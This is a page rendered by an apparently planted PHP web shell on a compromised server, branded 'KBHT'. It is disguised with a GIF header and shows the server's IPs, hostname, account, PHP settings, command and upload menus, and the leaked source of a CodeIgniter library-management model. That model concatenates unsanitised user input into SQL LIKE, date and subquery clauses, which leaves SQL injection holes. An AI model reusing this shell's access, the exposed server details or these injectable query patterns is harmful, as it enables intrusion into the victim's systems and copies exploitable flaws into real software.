GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.117.71.239
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/models/admin/LibraryManagement.php
<?php

/**
 * Model Class For Handling All DB Operations Related To Library
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class LibraryManagement extends CI_Model {

    function createNewPublicationCategory(array $newPublicationCategoryInfo) {
        $this->db->insert('lib_publication_cat_mst', $newPublicationCategoryInfo);
        return $this->db->insert_id();
    }

    function getAllPublicationCategories() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_publication_cat_mst LPCM');
        $this->db->join('tbl_staff_members TSMA', 'LPCM.lpcm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LPCM.lpcm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("LPCM.lpcm_added_on", "desc");
        return $this->db->get();
    }

    function getNonDeletedActivePublicationCategories() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_publication_cat_mst LPCM');
        $this->db->join('tbl_staff_members TSMA', 'LPCM.lpcm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LPCM.lpcm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LPCM.lpcm_active_status", "T");
        $this->db->where("LPCM.lpcm_delete_status", "F");
        $this->db->order_by("LPCM.lpcm_added_on", "desc");
        return $this->db->get();
    }

    function getPublicationCategoryInfoBy($lpcm_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_publication_cat_mst LPCM');
        $this->db->join('tbl_staff_members TSMA', 'LPCM.lpcm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LPCM.lpcm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LPCM.lpcm_id", $lpcm_id);
        return $this->db->get();
    }

    function getPublicationCategoryInfoByName($lpcm_name) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_publication_cat_mst LPCM');
        $this->db->join('tbl_staff_members TSMA', 'LPCM.lpcm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LPCM.lpcm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LPCM.lpcm_name", $lpcm_name);
        return $this->db->get();
    }

    function getPublicationCategoryInfoByShortName($lpcm_short_name) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_publication_cat_mst LPCM');
        $this->db->join('tbl_staff_members TSMA', 'LPCM.lpcm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LPCM.lpcm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LPCM.lpcm_short_name", $lpcm_short_name);
        return $this->db->get();
    }

    function isPublicationCategoryNameSafeUpdate($lpcm_id, $lpcm_name) {
        $this->db->select("*");
        $this->db->from('lib_publication_cat_mst');
        $this->db->where('lpcm_name', $lpcm_name);
        $this->db->where('lpcm_id != ' . $lpcm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function isPublicationCategoryShortNameSafeUpdate($lpcm_id, $lpcm_short_name) {
        $this->db->select("*");
        $this->db->from('lib_publication_cat_mst');
        $this->db->where('lpcm_short_name', $lpcm_short_name);
        $this->db->where('lpcm_id != ' . $lpcm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updatePublicationCategoryInfo(array $pcUpdatedInfo) {
        $this->db->where('lpcm_id', $pcUpdatedInfo['lpcm_id']);
        return $this->db->update('lib_publication_cat_mst', $pcUpdatedInfo);
    }

    /* Functions For Issue Setups And Related Stuffs */

    function createNewIssueSetup(array $newIssueSetupInfo) {
        $this->db->insert('lib_issue_setup_mst', $newIssueSetupInfo);
        return $this->db->insert_id();
    }

    function getAllIssueSetups() {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_issue_setup_mst LISM');
        $this->db->join('tbl_session_master TSM', 'LISM.session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMA', 'LISM.lism_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LISM.lism_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->order_by("LISM.lism_added_on", "desc");
        return $this->db->get();
    }

    function getIssueSetupsInfoBySessionAndUserType($session, $lism_user_type) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_issue_setup_mst LISM');
        $this->db->join('tbl_session_master TSM', 'LISM.session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMA', 'LISM.lism_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LISM.lism_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LISM.session_id", $session);
        $this->db->where("LISM.lism_user_type", $lism_user_type);
        return $this->db->get();
    }

    function getIssueSetupsInfoBy($lism_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_issue_setup_mst LISM');
        $this->db->join('tbl_session_master TSM', 'LISM.session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMA', 'LISM.lism_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LISM.lism_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LISM.lism_id", $lism_id);
        return $this->db->get();
    }

    function isIssueSetupSafeUpdate($lism_id, $session, $lism_user_type) {
        $this->db->select("*");
        $this->db->from('lib_issue_setup_mst');
        $this->db->where('session_id', $session);
        $this->db->where('lism_user_type', $lism_user_type);
        $this->db->where('lism_id != ' . $lism_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateIssueSetupInfo(array $issueSetupUpdatedInfo) {
        $this->db->where('lism_id', $issueSetupUpdatedInfo['lism_id']);
        return $this->db->update('lib_issue_setup_mst', $issueSetupUpdatedInfo);
    }

    /* Functions For Books/Journal/Magazine Etc. And Related Stuffs */

    function createNewBookMagazineJournal(array $newBookMagazineJournalInfo) {
        $this->db->insert('lib_books_mag_jour_mst', $newBookMagazineJournalInfo);
        return $this->db->insert_id();
    }

    function getBookMagazineJournalInfoBy($lbmjm_id) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_books_mag_jour_mst LBMJM');
        $this->db->join('tbl_session_master TSM', 'LBMJM.session_id = TSM.session_id');
        $this->db->join('lib_publication_cat_mst LPCM', 'LBMJM.lpcm_id = LPCM.lpcm_id');
        $this->db->join('tbl_department_master TDM', 'LBMJM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'LBMJM.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_staff_members TSMA', 'LBMJM.lbmjm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LBMJM.lbmjm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LBMJM.lbmjm_id", $lbmjm_id);
        return $this->db->get();
    }

    function getBookMagazineJournalInfoByName($lbmjm_isbn_issn_no) {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_books_mag_jour_mst LBMJM');
        $this->db->join('tbl_session_master TSM', 'LBMJM.session_id = TSM.session_id');
        $this->db->join('lib_publication_cat_mst LPCM', 'LBMJM.lpcm_id = LPCM.lpcm_id');
        $this->db->join('tbl_department_master TDM', 'LBMJM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'LBMJM.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_staff_members TSMA', 'LBMJM.lbmjm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LBMJM.lbmjm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LBMJM.lbmjm_isbn_issn_no", $lbmjm_isbn_issn_no);
        return $this->db->get();
    }

    function getBooksMagazinesJournalsReport($searchKey = '', $session = '', $publicationType = '', $department = '', $subDepartment = '', $startDate = '', $endDate = '', $rangeAppliedwith = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) addedByAdmin,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) updatedByAdmin");
        $this->db->from('lib_books_mag_jour_mst LBMJM');
        $this->db->join('tbl_session_master TSM', 'LBMJM.session_id = TSM.session_id');
        $this->db->join('lib_publication_cat_mst LPCM', 'LBMJM.lpcm_id = LPCM.lpcm_id');
        $this->db->join('tbl_department_master TDM', 'LBMJM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'LBMJM.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_staff_members TSMA', 'LBMJM.lbmjm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LBMJM.lbmjm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LBMJM.lbmjm_delete_status", 'F');
        $this->db->where("(LBMJM.lbmjm_isbn_issn_no LIKE '%" . $searchKey . "%' "
                . "OR LBMJM.lbmjm_title LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_authors LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_publication_year LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_publisher_name LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_subject_name LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_place LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_description LIKE '%" . $searchKey . "%')");

        /* Session Wise Filter */
        if ($session != '') {
            $this->db->where('LBMJM.session_id', $session);
        }
        /* Session Wise Filter */
        /* Publication Category Wise Filter */
        if ($publicationType != '') {
            $this->db->where("LBMJM.lpcm_id", $publicationType);
        }
        /* Publication Category Wise Filter */
        /* Department Wise Filter */
        if ($department != '') {
            $this->db->where("LBMJM.dept_id", $department);
        }
        /* Department Wise Filter */
        /* Sub-Department Wise Filter */
        if ($subDepartment != '') {
            $this->db->where("LBMJM.sub_dept_id", $subDepartment);
        }
        /* Sub-Department Wise Filter */
        /* Dates Combination */
        if ($startDate != '' && $endDate != '') {
            if ($rangeAppliedwith == "ED") {
                $this->db->where("LBMJM.lbmjm_added_on >= '" . $startDate . "' && LBMJM.lbmjm_added_on <= '" . $endDate . "'");
            } else if ($rangeAppliedwith == "LID") {
                
            } else {
                
            }
        } else if ($startDate == '' && $endDate != '') {
            if ($rangeAppliedwith == "ED") {
                $this->db->where("LBMJM.lbmjm_added_on <= '" . $endDate . "'");
            } else if ($rangeAppliedwith == "LID") {
                
            } else {
                
            }
        } else if ($startDate != '' && $endDate == '') {
            if ($rangeAppliedwith == "ED") {
                $this->db->where("LBMJM.lbmjm_added_on >= '" . $startDate . "'");
            } else if ($rangeAppliedwith == "LID") {
                
            } else {
                
            }
        }
        /* Dates Combination */
        return $this->db->get();
    }

    function isISSNISBNNumberSafeUpdate($lbmjm_id, $lbmjm_isbn_issn_no) {
        $this->db->select("*");
        $this->db->from('lib_books_mag_jour_mst');
        $this->db->where('lbmjm_isbn_issn_no', $lbmjm_isbn_issn_no);
        $this->db->where('lbmjm_id != ' . $lbmjm_id);
        $result = $this->db->get()->result();
        if (sizeof($result)) {
            return FALSE;
        } else {
            return TRUE;
        }
    }

    function updateBookMagazineJournalInfo(array $bookMagazineJournalInfo) {
        $this->db->where('lbmjm_id', $bookMagazineJournalInfo['lbmjm_id']);
        return $this->db->update('lib_books_mag_jour_mst', $bookMagazineJournalInfo);
    }

    //issue return related methods 

    function getActiveIssuedBooksListToStudent($tspi_id = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) issuedBy,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) collectedBy");
        $this->db->from('lib_issue_return_mst LIRM');
        $this->db->join('lib_books_mag_jour_mst LBMJM', 'LIRM.lbmjm_id = LBMJM.lbmjm_id');
        $this->db->join('lib_publication_cat_mst LPCM', 'LBMJM.lpcm_id = LPCM.lpcm_id');
        $this->db->join('tbl_department_master TDM', 'LBMJM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'LBMJM.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_session_master TSM', 'LIRM.lirm_session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMA', 'LBMJM.lbmjm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LBMJM.lbmjm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LIRM.lirm_issued_to", $tspi_id);
        $this->db->where("LIRM.lirm_issued_to_flag", 'S');
        $this->db->where("LIRM.lirm_return_flag", 'I');
        return $this->db->get();
    }

    function getActiveIssuedBooksListToStaff($smember_id = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) issuedBy,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) collectedBy");
        $this->db->from('lib_issue_return_mst LIRM');
        $this->db->join('lib_books_mag_jour_mst LBMJM', 'LIRM.lbmjm_id = LBMJM.lbmjm_id');
        $this->db->join('lib_publication_cat_mst LPCM', 'LBMJM.lpcm_id = LPCM.lpcm_id');
        $this->db->join('tbl_department_master TDM', 'LBMJM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'LBMJM.sub_dept_id = TSDM.sub_dept_id');
        $this->db->join('tbl_session_master TSM', 'LIRM.lirm_session_id = TSM.session_id');
        $this->db->join('tbl_staff_members TSMA', 'LBMJM.lbmjm_added_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LBMJM.lbmjm_updated_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LIRM.lirm_issued_to", $smember_id);
        $this->db->where("LIRM.lirm_issued_to_flag", 'E');
        $this->db->where("LIRM.lirm_return_flag", 'I');
        return $this->db->get();
    }

    function getNonIssuedBooksMagazinesJournals($searchKey = '', $tspi_id = '', $session = '', $publicationType = '', $department = '', $subDepartment = '', $startDate = '', $endDate = '', $rangeAppliedwith = '') {
        $this->db->select("*,"
                . "CONCAT(TPRFLA.tprfl_firstname,' ',TPRFLA.tprfl_lastname) issuedBy,"
                . "CONCAT(TPRFLU.tprfl_firstname,' ',TPRFLU.tprfl_lastname) returnedBy");
        $this->db->from('lib_books_mag_jour_mst LBMJM');
        $this->db->join('tbl_session_master TSM', 'LBMJM.session_id = TSM.session_id');
        $this->db->join('lib_publication_cat_mst LPCM', 'LBMJM.lpcm_id = LPCM.lpcm_id');
        $this->db->join('tbl_department_master TDM', 'LBMJM.dept_id = TDM.dept_id');
        $this->db->join('tbl_sub_departments_master TSDM', 'LBMJM.sub_dept_id = TSDM.sub_dept_id');

        if ($tspi_id == '') {
            $this->db->join('lib_issue_return_mst LIRM', 'LIRM.lbmjm_id = LBMJM.lbmjm_id');
        }
        $this->db->join('tbl_staff_members TSMA', 'LIRM.lirm_issued_by = TSMA.smember_id');
        $this->db->join('tbl_profile TPRFLA', 'TSMA.smember_id = TPRFLA.tprfl_id');
        $this->db->join('tbl_staff_members TSMU', 'LIRM.lirm_returned_collected_by = TSMU.smember_id');
        $this->db->join('tbl_profile TPRFLU', 'TSMU.smember_id = TPRFLU.tprfl_id');
        $this->db->where("LBMJM.lbmjm_delete_status", 'F');
        if ($tspi_id != '') {
            $this->db->where("LBMJM.lbmjm_id NOT IN (SELECT lbmjm_id FROM lib_issue_return_mst WHERE lirm_issued_to = '$tspi_id' AND lirm_return_flag = 'I')");
            $this->db->where("LBMJM.lbmjm_id NOT IN (SELECT DISTINCT lbmjm_id FROM lib_issue_return_mst WHERE lirm_return_flag = 'I')");
        }
        $this->db->where("(LBMJM.lbmjm_isbn_issn_no LIKE '%" . $searchKey . "%' "
                . "OR LBMJM.lbmjm_title LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_authors LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_publication_year LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_publisher_name LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_subject_name LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_place LIKE '%" . $searchKey . "%'"
                . "OR LBMJM.lbmjm_description LIKE '%" . $searchKey . "%')");
        if ($rangeAppliedwith == "LID") {
            $this->db->where("LIRM.lirm_return_flag = 'I'");
        } else {
            $this->db->where("LIRM.lirm_return_flag = 'R'");
        }
        /* Session Wise Filter */
        if ($session != '') {
            $this->db->where('LBMJM.session_id', $session);
        }
        /* Session Wise Filter */
        /* Publication Category Wise Filter */
        if ($publicationType != '') {
            $this->db->where("LBMJM.lpcm_id", $publicationType);
        }
        /* Publication Category Wise Filter */
        /* Department Wise Filter */
        if ($department != '') {
            $this->db->where("LBMJM.dept_id", $department);
        }
        /* Department Wise Filter */
        /* Sub-Department Wise Filter */
        if ($subDepartment != '') {
            $this->db->where("LBMJM.sub_dept_id", $subDepartment);
        }
        /* Sub-Department Wise Filter */
        /* Dates Combination */
        if ($startDate != '' && $endDate != '') {
            if ($rangeAppliedwith == "LID") {
                $this->db->where("LIRM.lirm_issued_on >= '" . $startDate . "' && LIRM.lirm_issued_on <= '" . $endDate . "'");
            } else {
                $this->db->where("LIRM.lirm_returned_on >= '" . $startDate . "' && LIRM.lirm_returned_on <= '" . $endDate . "'");
            }
        } else if ($startDate == '' && $endDate != '') {
            if ($rangeAppliedwith == "LID") {
                $this->db->where("LIRM.lirm_issued_on <= '" . $endDate . "'");
            } else {
                $this->db->where("LIRM.lirm_returned_on <= '" . $endDate . "'");
            }
        } else if ($startDate != '' && $endDate == '') {
            if ($rangeAppliedwith == "LID") {
                $this->db->where("LIRM.lirm_issued_on >= '" . $startDate . "'");
            } else {
                $this->db->where("LIRM.lirm_returned_on >= '" . $startDate . "'");
            }
        }
        /* Dates Combination */
        return $this->db->get();
    }

    function saveBookIssueDetails(array $bookIssueDetails) {
        $this->db->insert('lib_issue_return_mst', $bookIssueDetails);
        return $this->db->insert_id();
    }

    function checkIfBookIsAlreadyAlloted($book_id, $issuerID, $issued_to) {
        $this->db->select();
        $this->db->from('lib_issue_return_mst');
        $this->db->where('lbmjm_id', $book_id);
        $this->db->where('lirm_issued_to', $issuerID);
        $this->db->where('lirm_issued_to_flag', $issued_to);
        return $this->db->get();
    }

    function updateIssueReturn(array $issueReturnDetails) {
        $this->db->update_batch('lib_issue_return_mst', $issueReturnDetails, 'lirm_id');
    }

}

KBHT - 2023